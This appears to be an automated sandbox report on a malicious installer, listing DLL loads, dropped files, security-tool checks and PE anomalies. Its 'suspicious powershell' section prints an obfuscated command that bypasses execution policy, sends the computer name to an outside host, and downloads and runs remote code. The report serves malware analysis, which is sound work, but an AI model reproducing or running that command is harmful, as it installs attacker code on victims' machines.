Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F3638EZUZ711WUU8SDVPW34XAAMUZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: iconcodecservice.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: twinui.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: powrprof.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: pdh.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: umpdc.dll
Source: C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe	Section loaded: shdocvw.dll

Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH

Source: C:\Users\user\AppData\Local\Temp\is-87VLI.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-DJ3IP.tmp\F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp

Window found: window name: TMainForm

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: setup.exe

Static file information: File size 2097152 > 1048576

Source: setup.exe

Static PE information: Raw size of CODE is bigger than: 0x100000 < 0x127600

Source:	Binary string: \??\C:\Windows\dll\Microsoft.PowerShell.Commands.Utility.pdb< source: powershell.exe, 00000004.00000002.2025410025.0000000007B00000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: BrightLib.exe, 00000025.00000002.2630130507.0000000038B80000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000025.00000002.2608357889.0000000003738000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: BrightLib.exe, 00000025.00000002.2630130507.0000000038B80000.00000004.00000800.00020000.00000000.sdmp, BrightLib.exe, 00000025.00000002.2608357889.0000000003738000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; ?			Jump to behavior

Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.6.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	Static PE information: real checksum: 0x33908a should be: 0x33af29
Source: setup.exe	Static PE information: real checksum: 0x285347 should be: 0x204747
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	Static PE information: real checksum: 0x9307ce should be: 0x8615ed

Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.exe.0.dr	Static PE information: section name: .didata
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.6.dr	Static PE information: section name: .didata
Source: F3638EZUZ711WUU8SDVPW34XAAMUZ.tmp.8.dr	Static PE information: section name: .didata

Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007F0CFD push eax; mov dword ptr [esp], 60636255h	0_2_007F0D00
Source: C:\Users\user\Desktop\setup.exe	Code function: 0_2_007EDCBD push eax; mov dword ptr [esp], 0B08090Eh	0_2_007EDCCB
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03704900 push ds; retf 0007h	4_2_037049B2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_037044F7 push ss; retf 0007h	4_2_03704502
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_037044C7 push ss; retf 0007h	4_2_037044F2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705B63 push edi; retf 0007h	4_2_03705B7A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705B43 push ebp; retf 0007h	4_2_03705B4A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705B4F push esi; retf 0007h	4_2_03705B5A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705B25 push ebp; retf 0007h	4_2_03705B3A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705A7F push eax; retf 0007h	4_2_03705A8A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705AFF push esp; retf 0007h	4_2_03705B0A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_03705ADF push ebx; retf 0007h	4_2_03705AEA
